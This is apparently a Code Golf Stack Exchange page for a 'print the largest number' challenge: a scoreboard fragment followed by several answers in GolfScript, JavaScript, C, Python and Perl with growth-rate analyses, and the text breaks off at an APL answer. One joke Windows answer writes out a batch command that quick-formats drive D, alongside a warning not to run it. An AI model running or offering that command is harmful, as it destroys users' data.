\$\approx10^{2^{320}}\approx10\uparrow\uparrow3.29749\$ 24. [*Adam Speight*, vb.net,](https://codegolf.stackexchange.com/a/18182/2183) \$\approx10^{5000\times2^{256}}\approx10\uparrow\uparrow3.28039\$ 25. [*Joshua*, bash,](https://codegolf.stackexchange.com/a/18085/2183) \$\approx10^{10^{15}}\approx10\uparrow\uparrow3.07282\$ **Footnotes** 1. If every electron in the universe were a qubit, and every superposition thereof could be gainfully used to store information (which, as long as you don't actually need to *know* what's being stored is theoretically possible), this program requires more memory than could possibly exist, and therefore cannot be run - now, or at any conceiveable point in the future. If the author intended to print a value larger than ≈10↑↑3.26 all at once, this condition applies. 2. This program requires more memory than currently exists, but not so much that it couldn't theoretically be stored on a meager number of qubits, and therefore a computer may one day exist which could run this program. 3. All interpreters currently available issue a runtime error, or the program otherwise fails to execute as the author intended. 4. Running this program will cause irreparable damage to your system. --- **Edit** [@primo](https://codegolf.stackexchange.com/users/4098/primo): I've updated a portion of the scoreboard using a hopefully easier to compare notation, with decimals to denote the logarithmic distance to the next higher power. For example \$10↑↑2.5 = 10^{10^{\sqrt {10}}}\$. I've also changed some scores if I believed to user's analysis to be faulty, feel free to dispute any of these. Explanation of this notation: If \$0 \le b \lt 1\$, then \$a \uparrow\uparrow b = a^b\$. If \$b \ge 1\$, then \$a \uparrow\uparrow b = a^{a \uparrow\uparrow (b-1)}\$. If \$b \lt 0\$, then \$a \uparrow\uparrow b = \log\_a(a \uparrow\uparrow (b+1))\$ An [implementation](https://tio.run/##7Rtpb9s29Lt@BSNgqOXaruX0NOwARbsABbb2w9JiWNEYckw7AmTJk@QcC/Lbs8dDEkmRknwE8NbkQ2FRj@@@@KiubtPLKDx@sG3b@hCFqeeHCfLQii4jf7kK8BLDcurDYzRHKU5j9jDDF/7SC5KONcNzP8QzNL1F6SVG8ygIoms/XMCveLkOvGRoIfjz0Pk5mqIx@YGmHST/@XPUR6MxAIyQW4Zv0afWFHWR6zgdCj9FJ2MVNogWEy8Hfs6AKewI9S3ra@ItMGPnA7DprRKM8BWOQVzCcAT8xyCEF1JJnp1GUYrjZz2LqGceR0s0mczX6TrGkwlRThSnyAvDiOknsfjS0ksvGXh6uyJ4@fqXFQHzgg46u13hb17cQV9DWLGsycQLAsA5Rt/ts0zFH5mG7R@W9QcO5vCSb2vZ5NnuoGm0Dmfj8g7Hsk5/@/L@bPL7p89DNA8iL4Xdr3D3ePAye/P@z@KN23vz7s3rd8fu8cu3rwfH7qs3@Plx/@0DWJZotHXlBWs8ZMx@V6l1GJofwI6XAFQm5Xe2DOg/RyF2UPcEqVuZJcA8oELkJ@B7qRdeYEavg1oGUmDRMHUctpv8xZ4PhiTa@TWOo7g1ty@idTBjaEMw4SrGKTUpxYw84uMx9gLEKS0A8I7@PorvQX0EKQ6I34BIwBnFRMQAc89UbgkMMLsra5SUwhmKYkqWc0hAFAYZGAROX6X5jbzJiM6iJYQ2wuSxQlyNDQxiYYiCkDqHaiS202HuIOCm6uOqpLIejRn3vQl1HB1uhgq9oCHVIysKUo7gEvuLyxSdoIGIJlkHxLv1DDL@xgIHjrI1R9vN0ozAHQPhjIjcC05DJC5ekD/6RhJbxVtiNpecGkJWrk4Gy7qAlJsYYo2pmoURW2AySkuJvwiHxOIWe54kQZQmND3d5fzaFJUty2efZY5MagX8zutFz@4IWxlR3Wau8urthEHdZrJu3HrPpCE5bTLxQz@dTFoJ5NEhItm0gxomuXaW5/Lk2ae5TTb27jnt0fJaHjubpLHm3OjSmDZ9yTkWMpirIydlsTxNLtcJUMJoATTSrGS7RjLEzCw@wF5S1Glznmoih2Z9IcrQmKGRGWZUqA/mIU6eNEDcy8dy/pLV0oCvLejfGBNike6INeW1LNPIaZL8QY@HoBeChOiFC9wq71SYzHgQtdluo5sqJd3oFcR8fiyVPs3ufq9vVlNfQKnaMydxolIooXGl12VUpQ1dt/Sei4O69EelRNLL60s/wDmnrokw3/1cZVYkndcaoUI6VhUuxquQWL1pIuVVmhvJDyE3crcGgtAfYwrs0H@5lxXh6kiByvdlSiRaVCymQJTLdgYhsTybKaWAngPqSkFFR6uvABTrphWAsf05Sj9lZzE8yyHYeUUT0JxUlTZFdyyFkKkZqcNL45IC1aEmu@VtkmtBORiQ4x3HxZuURjyyPok6FRwA2RNF49QxDr7L943ob7ZLpnoRYXISK4hAc8rgyGlTzR8MeqyLSs4@3dsge3BwirCt7Crv4Fy6sgKAVSre5lxK1mrKJN0kxFlsDDTKY308aWKpNnKaujBoSnFJVUB9KAry4b8fJ43smEK2ThKK/YuIFgOcdEZyeVKCdheNUqHK5YQuDzdNZmIfkJdSkXVLLYdFkCu9kbjkFArT9EIypMxXRkboTqETkqs/552BtgU5RTUt8P/P8WSjnog@Z8w7Z7HSNwl1haIZNUJz6gVJNR5tQyiFSjaQMAWDDmvZc6tlq8jAai3dW0Qu0idXO1BX25en6Xhq7Gr78zSwcjnzw@Kw3NKnYs/niEiCp8zY0M9G@3H7xu46OoTMeLLHzBg8ZcZDdbVDyIwn@/O05Tp4mleQm7FGg4YSrX7dGOAxBhHt5oOIsj/weyz5nNAic7p8YtFB8lk2e5nRE95Whbh8uDN6tnD51SgSunyDOAwwevEhDAPaOw8DQvwzDAOO5GEAxKQUPEd7rK8hXpT7QbOqzLe/NYPm7O6XCtSWJvWy9wu8raJkM96KoZqE5Xobn@mgZTRbB9GQ3bDXfm6xS7InFmbUxI8iNikB6tUWp0uwl25fmLOOdBU58@NueX4q3LO7fOLZIFPxHSVosx@5NdHC7mUYo9peJZfwFygx@vGrwEFbubmUGDe95GPfF1DErPo8vs/yXFVJTNnYbVaZH6fe89a0X3MJbV944bMU4ZsVOH6Y@l6K0bWfXiLIT0D2Cid2VTtBzLx96@Ju1roAKTKeFWmNDKRaWag4pLfoqvcLGjEGJdxlF96p2kiVo3xvqb0/ac5p6epwXtx@5t/OyV0Vb@HNJ5ZNPK@2Z9LWraL92@ReSzmIuENzVZe6S1Yp5b6IUZTxmxXHB9/ZEaxhwPb6GzbIDfrvWo2JvamxEvNauFXBrWlYqZMWtbVcV/NyMZaOAsUFTNWpeMtmyPBBnPYjgi3PBs178t2b8hiv4nKjlqTxxpdJc/uu@HahB92pt4SG/z4P@buC83vHrjlfbkThTnDr@8bUKpP/3O627vKj5FEs4zBoGfgTqBLr2JAeSnde5AbaJEndzZpBPMGgYLr92NPub2UkICXPnrdSvajH83Ok6sXdxh5aPLLu1tODPKIK9Qicp9UtVZzNw94o6iPOGliuJgLI31xswX8ar/HMv/oJh341bTJtzv/CcfTRvwIZorDo0YlYoDN/hsn/S/kHYOwtDhO1BWfj0Vz3PzCaq/S3QxjPvdiqE3jQfvvqDl471iomxecGusAbcpYesE9St1l9@Bc) of this notation is provided in Python that let's you test reasonably sized values. [Answer] ## Windows 2000 - Windows 8 (3907172 / 23³ = 321) **NOTE: *DON'T F'ING RUN THIS!*** Save the following to a batch file and run it as Administrator. ``` CD|Format D:/FS:FAT/V/Q ``` Output when run on a 4TB drive with the first printed number in bold. > > Insert new disk for drive D: > > and press ENTER when ready... The type of the file system is NTFS. > > The new file system is FAT. > > QuickFormatting **3907172M** > > The volume is too big for FAT16/12. > > > [Answer] ## GolfScript, score: *way* too much OK, how big a number can we print in a few chars of GolfScript? Let's start with the following code ([thanks, Ben!](https://codegolf.stackexchange.com/a/18050)), which prints `126`: ``` '~'( ``` Next, let's repeat it 126 times, giving us a number equal to about 1.26126 × 10377: ``` '~'(.`* ``` (That's string repetition, not multiplication, so it should be OK under the rules.) Now, let's repeat *that* 378-digit number a little over 10377 times: ``` '~'(.`*.~* ``` You'll never actually see this program finish, since it tries to compute a number with about 10380 ≈ 21140 digits. No computer ever built could store a number that big, nor could such a computer ever be built using known physics; the [number of atoms in the observable universe](//en.wikipedia.org/wiki/Observable_universe#Matter_content_.E2.80.94_number_of_atoms) is estimated to be about 1080, so even if we could somehow use *all the matter in the universe* to store this huge number, we'd still somehow have to cram about 10380 / 1080 = 10300 digits into *each atom!* But let's assume that we have God's own GolfScript interpreter, capable of running such a calculation, and that we're still not satisfied. OK, *let's do that again!* ``` '~'(.`*.~*.~* ``` The output of this program, if it could complete, would have about 1010383 digits, and so would equal approximately 101010383. But wait! That program is getting kind of repetitive... why don't we turn it into a loop? ``` '~'(.`*.{.~*}* ``` Here, the loop body gets run about 10377 times, giving us a theoretical output consisting of about 1010⋰10377 digits or so, where the tower of [iterated powers](//en.wikipedia.org/wiki/Tetration) of 10 is about 10377 steps long. (Actually, that's a gross underestimate, since I'm neglecting the fact that the number being repeated also gets longer every time, but relatively speaking that's a minor issue.) But we're not done yet. Let's add another loop! ``` '~'(.`*.{.{.~*}*}* ``` To even properly write down an *approximation* of such numbers requires esoteric mathematical notation. For example, in [Knuth up-arrow notation](//en.wikipedia.org/wiki/Knuth%27s_up-arrow_notation), the number (theoretically) output by the program above should be about 10 ↑3 10377, give or take a few (or 10377) powers of ten, assuming I did the math right. Numbers like this get way beyond just "incredibly huge", and into the realm of "inconceivable". As in, not only is it impossible to count up to or to write down such numbers (we crossed beyond that point already at the third example above), but they literally have no conceivable use or existence outside abstract mathematics. We can prove, from the [axioms of mathematics](//en.wikipedia.org/wiki/Foundations_of_mathematics), that such numbers exist, just like we can prove from the GolfScript specification that program above *would* compute them, if the limits of reality and available storage space did not intervene), but there's literally *nothing* in the physical universe that we could use them to count or measure in any sense. Still, mathematicians do sometimes make use of [even larger numbers](//en.wikipedia.org/wiki/Graham%27s_number). (Theoretically) computing numbers *that* large takes a little bit more work — instead of just nesting more loops one by one, we need to use recursion to telescope the *depth* of the nested loops. Still, in principle, it should be possible to write a short GolfScript program (well under 100 bytes, I would expect) to (theoretically) compute any number expressible in, say, [Conway chained arrow notation](//en.wikipedia.org/wiki/Conway_chained_arrow_notation); the details are left as an exercise. ;-) [Answer] # JavaScript 44 chars This may seem a little cheaty: ``` alert((Math.PI+''+Math.E).replace(/\./g,"")) ``` **Score = 31415926535897932718281828459045 / 44^3 ≈ 3.688007904758867e+26 ≈ 10↑↑2.1536134004** [Answer] # C, score = 101097.61735/983 ≈ 10↑↑2.29874984 ``` unsigned long a,b,c,d,e;main(){while(++a)while(++b)while(++c)while(++d)while(++e)printf("%lu",a);} ``` I appreciate the help in scoring. Any insights or corrections are appreciated. Here is my method: **n** = the concatenation of **every number from 1 to 264-1, repeated (264-1)4 times**. First, here's how I'm estimating (low) the cumulative number of digits from 1 to 264-1 (the "subsequence"): The final number in the subsequence sequence is 264-1 = `18446744073709551615` with 20 digits. Thus, more than 90% of the numbers in the subsequence (those starting with `1`..`9`) have 19 digits. Let's assume the remaining 10% average 10 digits. It will be much more than that, but this is a low estimate for easy math and no cheating. That subsequence gets repeated (264-1)4 times, so the *length* of **n** will be *at least* (0.9×(264-1)×19 + 0.1×(264-1)×10) × (264-1)4 = 3.86613 × 1097 digits. In the comments below, @primo confirms the length of **n** to be 4.1433x1097. So **n** itself will be 10 to that power, or 101097.61735. **l** = 98 chars of code **score** = **n/l3** = **101097.61735/983** Requirement: Must run on a 64-bit computer where `sizeof(long) == 8`. Mac and Linux will do it. [Answer] ## GolfScript; score at least fε\_0+ω+1(17) / 1000 Following [r.e.s.](https://codegolf.stackexchange.com/users/3440/r-e-s)'s suggestion to use the [Lifetime of a worm](https://codegolf.stackexchange.com/q/18912/194) answer for this question, I present two programs which vastly improve on his derivation of Howard's solution. They share a common prefix, modulo the function name: ``` ,:z){.[]+{\):i\.z={.z+.({<}+??\((\+.@<i*\+}{(;}if.}do;}:g~g ``` computes `g(g(1)) = g(5)` where `g(x) = worm_lifetime(x, [x])` grows roughly as fε0 (which r.e.s. notes is "the function in the [fast-growing hierarchy](https://en.wikipedia.org/wiki/Fast-growing_hierarchy#Functions_in_fast-growing_hierarchies) that grows at roughly the same rate as the Goodstein function"). The slightly easier (!) to analyse is ``` ,:z){.[]+{\):i\.z={.z+.({<}+??\((\+.@<i*\+}{(;}if.}do;}:g~g.{.{.{.{.{.{.{.{.{.{g}*}*}*}*}*}*}*}*}*}* ``` `.{foo}*` maps `x` to `foo^x x`. ``` ,:z){[]+z\{\):i\.z={.z+.({<}+??\((\+.@<i*\+}{(;}if.}do;}:g~g.{g}* ``` thus gives `g^(g(5)) ( g(5) )`; the further 8 levels of iteration are similar to arrow chaining. To express in simple terms: if `h_0 = g` and `h_{i+1} (x) = h_i^x (x)` then we calculate `h_10 (g(5))`. I think this second program almost certainly scores far better. This time the label assigned to function `g` is a newline (sic). ``` ,:z){.[]+{\):i\.z={.z+.({<}+??\((\+.@<i*\+}{(;}if.}do;}: ~ {.['.{ }*'n/]*zip n*~}:^~^^^^^^^^^^^^^^^^ ``` This time I make better use of `^` as a different function. ``` .['.{ }*'n/]*zip n*~ ``` takes `x` on the stack, and leaves `x` followed by a string containing `x` copies of `.{` followed by `g` followed by `x` copies of `}*`; it then evaluates the string. Since I had a better place to burn spare characters, we start with `j_0 = g`; if `j_{i+1} (x) = j_i^x (x)` then the first evaluation of `^` computes `j_{g(5)} (g(5))` (which I'm pretty sure already beats the previous program). I then execute `^` 16 more times; so if `k_0 = g(5)` and `k_{i+1} = j_{k_i} (k_i)` then it calculates `k_17`. I'm grateful (again) to r.e.s. for estimating that `k_i` >> fε\_0+ω+1(i). [Answer] # Python 3 - 99 chars - (most likely) significantly larger than Graham's number I've come up with a more quickly increasing function based on an extension of the Ackermann function. ``` A=lambda a,b,*c:A(~-a,A(a,~-b,*c)if b else a,*c)if a else(A(b,*c)if c else-~b);A(*range(ord('~'))) ``` <http://fora.xkcd.com/viewtopic.php?f=17&t=31598> inspired me, but you don't need to look there to understand my number. Here is the modified version of the ackermann function that I'll be using in my analysis: ``` A(b)=b+1 A(0,b,...)=A(b,...) A(a,0,...)=A(a-1,1,...) A(a,b,...)=A(a-1,A(a,b-1,...),...) ``` My function `A` in the code above is technically not the same, but it is actually stronger, with the following statement to replace the third line of the above definition: ``` A(a,0,...)=A(a-1,a,...) ``` (a has to be at least 1, so it has to be stronger) But for my purposes I will assume that it is the same as the simpler one, because the analysis is already partially done for Ackermann's function, and therefore for this function when it has two arguments. My function is guaranteed to eventually stop recursing because it always either: removes an argument, decrements the first argument, or keeps the same first argument and decrements the second argument. # Analysis of size Graham's number, AFAIK, can be represented as `G(64)` using: ``` G(n) = g^n(4) g(n) = 3 ↑^(n) 3 ``` Where a `↑^(n)` b is knuth's up-arrow notation. As well: ``` A(a,b) = 2 ↑^(a-2) (b+3) - 3 A(a,0) ≈ 2 ↑^(a-2) 3 g(n) ≈ A(n+2,0) // although it will be somewhat smaller due to using 2 instead of 3. Using a number larger than 0 should resolve this. g(n) ≈ A(n+2,100) // this should be good enough for my purposes. g(g(n)) ≈ A(A(n+2,100),100) A(1,a+1,100) ≈ A(0,A(1,a,100),100) = A(A(1,a,100),100) g^k(n) ≈ A(A(A(A(...(A(n+2,100)+2)...,100)+2,100)+2,100)+2,100) // where there are k instances of A(_,100) A(1,a,100) ≈ A(A(A(A(...(A(100+2),100)...,100),100),100),100) g^k(100) ≈ A(1,k,100) g^k(4) < A(1,k,100) // in general g^64(4) < A(1,64,100) ``` The number expressed in the program above is `A(0,1,2,3,4,...,123,124,125)`. Since `g^64(4)` is Graham's number, and assuming my math is correct then it is less than `A(1,64,100)`, my number is *significantly* larger than Graham's number. Please point out any mistakes in my math - although if there aren't any, this should be the largest number computed so far to answer this question. [Answer] ## Perl - score ≈ 10↑↑4.1 ``` $_=$^Fx($]<<-$]),/(?<R>(((((((((((((((((((.(?&R))*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*(??{print})/ ``` Once again abusing perl's regex engine to grind through an unimaginable amount of combinations, this time using a recursive descent. In the inner most of the expression, we have a bare `.` to prevent infinite recursion, and thus limiting the levels of recursion to the length of the string. What we'll end up with is this: ``` /((((((((((((((((((((.[ ])*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*/ ___________________/ \_____________________________________ / \ (((((((((((((((((((.[ ])*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)* ___________________/ \_____________________________________ / \ (((((((((((((((((((.[ ])*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)* ___________________/ \_____________________________________ / . \ . . ``` ... repeated *671088640* times, for a total of *12750684161* nestings - which quite thoroughly puts my previous attempt of *23* nestings to shame. Remarkably, perl doesn't even choke on this (once again, memory usage holds steady at about 1.3GB), although it will take quite a while before the first print statement is even issued. From my previous analysis below, it can be concluded that the number of digits output will be on the order of *(!12750684161)671088640*, where *!k* is the [Left Factorial](http://mathworld.wolfram.com/LeftFactorial.html) of *k* (see [A003422](http://oeis.org/A003422)). We can approximate this as *(k-1)!*, which is strictly smaller, but on the same order of magnitude. And if we [ask wolframalpha](http://www.wolframalpha.com/input/?i=10%5E12750684160%21%5E671088640): ![](https://i.stack.imgur.com/zvT9z.png) ...which barely changes my score at all. I thought for sure that'd be at least **10↑↑5**. I guess the difference between **10↑↑4** and **10↑↑4.1** is a lot bigger than you'd think. --- ## Perl - score ≈ 10↑↑4 ``` $_=$^Fx($]<<-$]),/((((((((((((((((((((((.*.*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*(??{print})/ ``` Abusing the perl regex engine to do some combinatorics for us. The embedded codeblock `(??{print})` will insert its result directly into the regex. Since `$_` is composed entirely of `2`s (and the result of `print` is always `1`), this can never match, and sends perl spinning through all possible combinations, of which there's quite a few. **Constants used** * `$^F` - the maximum system file handle, typically `2`. * `$]` - the perl version number, similar to `5.016002`. `$_` is then a string containing the digit `2` repeated *671088640* times. Memory usage is constant at about 1.3GB, output begins immediately. **Analysis** Let's define *Pk(n)* to be the number of times the print statement is executed, where *k* is the number of nestings, and *n* is the length of the string plus one (just because I don't feel like writing *n+1* everywhere). `(.*.*)*` *P2(n)* = [*2, 8, 28, 96, 328, 1120, 3824, 13056, ...*] ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=P_2%28n%29%3D%5Cfrac%7B1%7D%7B1%5Csqrt%7B2%7D%7D%28%282%2B%5Csqrt%7B2%7D%29%5En-%282-%5Csqrt%7B2%7D%29%5En%29%2B%5Cfrac%7B0%7D%7B1%7Dn) `((.*.*)*)*` *P3(n)* = [*3, 18, 123, 900, 6693, 49926, 372615, 2781192, ...*] ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=P_3%28n%29%3D%5Cfrac%7B2%7D%7B2%5Csqrt%7B12%7D%7D%28%284%2B%5Csqrt%7B12%7D%29%5En-%284-%5Csqrt%7B12%7D%29%5En%29%2B%5Cfrac%7B2%7D%7B2%7Dn) `(((.*.*)*)*)*` *P4(n)* = [*4, 56, 1044, 20272, 394940, 7696008, 149970676, 2922453344, ...*] ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=P_4%28n%29%3D%5Cfrac%7B4%7D%7B3%5Csqrt%7B12%7D%7D%28%2810%2B%5Csqrt%7B90%7D%29%5En-%2810-%5Csqrt%7B90%7D%29%5En%29%2B%5Cfrac%7B4%7D%7B3%7Dn) `((((.*.*)*)*)*)*` *P5(n)* = [*5, 250, 16695, 1126580, 76039585, 5132387790, 346417023515, 23381856413800, ...*] ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=P_5%28n%29%3D%5Cfrac%7B40%7D%7B22%5Csqrt%7B1122%7D%7D%28%2834%2B%5Csqrt%7B1122%7D%29%5En-%2834-%5Csqrt%7B1122%7D%29%5En%29%2B%5Cfrac%7B30%7D%7B22%7Dn) `(((((.*.*)*)*)*)*)*` *P6(n)* = [*6, 1452, 445698, 137050584, 42142941390, 12958920156996, ...*] ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=P_6%28n%29%3D%5Cfrac%7B240%7D%7B102%5Csqrt%7B23562%7D%7D%28%28154%2B%5Csqrt%7B23562%7D%29%5En-%28154-%5Csqrt%7B23562%7D%29%5En%29%2B%5Cfrac%7B132%7D%7B102%7Dn) `((((((.*.*)*)*)*)*)*)*` *P7(n)* = [*7, 10094, 17634981, 30817120348, 53852913389555, ...*] ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=P_7%28n%29%3D%5Cfrac%7B1120%7D%7B388%5Csqrt%7B763002%7D%7D%28%28874%2B%5Csqrt%7B763002%7D%29%5En-%28874-%5Csqrt%7B763002%7D%29%5En%29%2B%5Cfrac%7B476%7D%7B388%7Dn) etc. In general, the formula can be generalized as the following: ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=P_k%28n%29%3D%5Cfrac%7BC_k%7D%7BE_k%5Csqrt%7BB_k%7D%7D%28%28A_k%2B%5Csqrt%7BB_k%7D%29%5En-%28A_k-%5Csqrt%7BB_k%7D%29%5En%29%2B%5Cfrac%7BD_k%7D%7BE_k%7Dn) where ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=A_k%3D%21k%3D%5Csum%5Climits_%7Bn%3D0%7D%5E%7Bk-1%7D%7Bn%21%7D) That is, the [Left Factorial](http://mathworld.wolfram.com/LeftFactorial.html) of *k*, i.e. the sum of all factorials less than *k* (see [A003422](http://oeis.org/A003422)). ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=B_k%3DA_k%28A_k-1%29) ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=C_k%3D2%5E%7Bk-2%7D%7Bk%5Cchoose+4%7D) I've been unable to determine closed forms for *Dk* and *Ek*, but this doesn't matter too much, if we observe that ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=%5Clim_%7Bk%5Cto%5Cinfty%7D%5Cfrac%7BC_k%7D%7BE_k%7D%3D%5Cfrac%7Bk-1%7D%7B2%7D) and ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=%5Clim_%7Bk%5Cto%5Cinfty%7D%5Cfrac%7BD_k%7D%7BE_k%7D%3D1) With *23* nestings, this gives us an approximate score of: ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=%5Cfrac%7B2%7D%7B9%7D10%5E%7B671088640%5Ccdot%2822%5Ccdot%281177652997443428940314%2B%5Csqrt%7B1386866582387492850230084014226553545478282%7D%29%5E%7B671088640%7D%2B671088641%29-6%7D) This should be nearly exact, actually. But to put this into a notation that's a bit easier to visualize, we can approximate the base of the inner exponent: ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=1177652997443428940314%2B%5Csqrt%7B1386866582387492850230084014226553545478282%7D%5Capprox+10%5E%7B21.372%7D) and then the exponent itself: ![](https://chart.googleapis.com/chart?cht=tx&chf=bg,s,FFFFFF00&chl=%2810%5E%7B21.372%7D%29%5E%7B671088640%7D%5Capprox+10%5E%7B14342506414%7D) and then [ask wolframalpha](http://www.wolframalpha.com/input/?i=2%2F9*10%5E%28671088640*%2822*%2810%5E14342538182%29%2B671088641%29-6%29): ![](https://i.stack.imgur.com/R3q2F.png) which you may as well just call **10↑↑4** and be done with it. [Answer] # Javascript, 10↑↑↑↑210 100 chars: ``` z=~~Math.E+'';o={get f(){for(i=z;i--;)z+=i}};o.f;for(i=z;i--;)for(j=z;j--;)for(k=z;k--;)o.f;alert(z) ``` Based on the observation that maximally iterating `f` is the optimal way to go, I replaced the 13 calls to `f` with 3 levels of nested loops calling `f`, `z` times each (while `f` keeps increasing `z`). I estimated the score analytically on a piece of paper—I'll type it up if anyone is interested in seeing it. --- # Improved Score: 10↑↑13 Javascript, in exactly 100 characters, again: ``` z=~~Math.E+'';__defineGetter__('f',function(){for(i=z;i--;)z+=i});f;f;f;f;f;f;f;f;f;f;f;f;f;alert(z) ``` This improves my original answer in three ways— 1. Defining `z` on the global scope saves us from having to type `o.z` each time. 2. It's possible to define a getter on the global scope (window) and type `f` instead of `o.f`. 3. Having more iterations of `f` is worth more than starting with a larger number, so instead of `(Math.E+'').replace('.','')` (=2718281828459045, 27 chars), it's better to use `~~Math.E+''` (=2, 11 chars), and use the salvaged characters to call `f` many more times. Since, as analyzed further below, each iteration produces, from a number in the order of magnitude *M*, a larger number in the order of magnitude 10M, this code produces after each iteration 1. 210 ∼ O(102) 2. O(10102) ∼ O(10↑↑2) 3. O(1010↑↑2) = O(10↑↑3) 4. O(1010↑↑3) = O(10↑↑4) 5. O(1010↑↑4) = O(10↑↑5) 6. O(1010↑↑5) = O(10↑↑6) 7. O(1010↑↑6) = O(10↑↑7) 8. O(1010↑↑7) = O(10↑↑8) 9. O(1010↑↑8) = O(10↑↑9) 10. O(1010↑↑9) = O(10↑↑10) 11. O(1010↑↑10) = O(10↑↑11) 12. O(1010↑↑11) = O(10↑↑12) 13. O(1010↑↑12) = O(10↑↑13) --- # Score: ∼101010101016 ≈ 10↑↑6.080669764 Javascript, in exactly 100 characters: ``` o={'z':(Math.E+'').replace('.',''),get f(){i=o.z;while(i--){o.z+=i}}};o.f;o.f;o.f;o.f;o.f;alert(o.z) ``` Each `o.f` invokes the while loop, for a total of 5 loops. After only the first iteration, the score is already over 1042381398144233621. By the second iteration, Mathematica was unable to compute even the *number of digits* in the result. Here's a walkthrough of the code: ## Init Start with 2718281828459045 by removing the decimal point from `Math.E`. ## Iteration 1 Concatenate the decreasing sequence of numbers, * 2718281828459045 * 2718281828459044 * 2718281828459043 * ... * 3 * 2 * 1 * 0 to form a new (gigantic) number, * 271828182845904527182818284590442718281828459043...9876543210. How many digits are in this number? Well, it's the concatenation of * 1718281828459046 16-digit numbers * 900000000000000 15-digit numbers * 90000000000000 14-digit numbers, * 9000000000000 13-digit numbers * ... * 900 3-digit numbers * 90 2-digit numbers * 10 1-digit numbers In Mathematica, ``` In[1]:= 1718281828459046*16+Sum[9*10^i*(i+1),{i,-1,14}]+1 Out[1]= 42381398144233626 ``` In other words, it's 2.72⋅1042381398144233625. Making my score, after only the first iteration, **2.72⋅1042381398144233619**. ## Iteration 2 But that's only the beginning. Now, repeat the steps, *starting with the gigantic number*! That is, concatenate the decreasing sequence of numbers, * 271828182845904527182818284590442718281828459043...9876543210 * 271828182845904527182818284590442718281828459043...9876543209 * 271828182845904527182818284590442718281828459043...9876543208 * ... * 3 * 2 * 1 * 0 So, what's my new score, Mathematica? ``` In[2]:= 1.718281828459046*10^42381398144233624*42381398144233625 + Sum[9*10^i*(i + 1), {i, -1, 42381398144233623}] + 1 During evaluation of In[2]:= General::ovfl: Overflow occurred in computation. >> During evaluation of In[2]:= General::ovfl: Overflow occurred in computation. >> Out[2]= Overflow[] ``` ## Iteration 3 Repeat. ## Iteration 4 Repeat. ## Iteration 5 Repeat. --- ## Analytical Score In the first iteration, we calculated the number of digits in the concatenation of the decreasing sequence starting at 2718281828459045, by counting the number of digits in * 1718281828459046 16-digit numbers * 900000000000000 15-digit numbers * 90000000000000 14-digit numbers, * 9000000000000 13-digit numbers * ... * 900 3-digit numbers * 90 2-digit numbers * 10 1-digit numbers This sum can be represented by the formula,         ![enter image description here](https://i.stack.imgur.com/7VKrb.png) where *Z* denotes the starting number (*e.g.* 2718281828459045) and *OZ* denotes its order of magnitude (*e.g.* 15, since *Z* ∼ 1015). Using [equivalences for finite sums](http://en.wikipedia.org/wiki/List_of_mathematical_series#Low-order_polylogarithms), the above can be expressed explicitly as         ![enter image description here](https://i.stack.imgur.com/5TXDI.png) which, if we take 9 ≈ 10, reduces even further to         ![enter image description here](https://i.stack.imgur.com/SOwKs.png) and, finally, expanding terms and ordering them by decreasing order of magnitude, we get         ![enter image description here](https://i.stack.imgur.com/mA2rx.png) Now, since we're only interested in the order of magnitude of the result, let's substitute *Z* with "a number in the order of magnitude of *OZ*," *i.e.* 10*OZ*—         ![enter image description here](https://i.stack.imgur.com/JUDH8.png) Finally, the 2nd and 3rd terms cancel out, and the last two terms can be dropped (their size is trivial), leaving us with         ![enter image description here](https://i.stack.imgur.com/BSWus.png) from which the first term wins out. **Restated, `f` takes a number in the order of magnitude of *M* and produces a number approximately in the order of magnitude of *M*(10*M*).** The first iteration can easily be checked by hand. 2718281828459045 is a number in the order of magnitude of 15—therefore `f` should produce a number in the order of magnitude of 15(1015) ∼ 1016. Indeed, the number produced is, from before, 2.72⋅1042381398144233625—that is, 1042381398144233625 ∼ 101016. Noting that *M* is not a significant factor in *M*(10*M*), the order of magnitude of the result of each iteration, then, follows a simple pattern of tetration: 1. 1016 2. 101016 3. 10101016 4. 1010101016 5. 101010101016 --- ### LaTeX sources ``` (Z-10^{\mathcal{O}_Z}+1)(\mathcal{O}_Z+1)+\sum_{k=0}^{\mathcal{O}_Z-1}{(9\cdot10^k(k+1))}+1 (Z-10^{\mathcal{O}_Z}+1)(\mathcal{O}_Z+1)+\frac{10-\mathcal{O}_Z10^{\mathcal{O}_Z}+(\mathcal{O}_Z-1)10^{\mathcal{O}_Z+1}}{9}+10^{\mathcal{O}_Z} (Z-10^{\mathcal{O}_Z}+1)(\mathcal{O}_Z+1)+\mathcal{O}_Z10^{\mathcal{O}_Z}-\mathcal{O}_Z10^{\mathcal{O}_Z-1}+1 Z\mathcal{O}_Z+Z-10^{\mathcal{O}_Z}-\mathcal{O}_Z10^{\mathcal{O}_Z-1}+\mathcal{O}_Z+2 \mathcal{O}_Z10^{\mathcal{O}_Z}+10^{\mathcal{O}_Z}-10^{\mathcal{O}_Z}-\mathcal{O}_Z10^{\mathcal{O}_Z-1}+\mathcal{O}_Z+2 \mathcal{O}_Z10^{\mathcal{O}_Z}-\mathcal{O}_Z10^{\mathcal{O}_Z-1} ``` [Answer] # APL, 10↑↑3.4 Here's my revised attempt: ``` 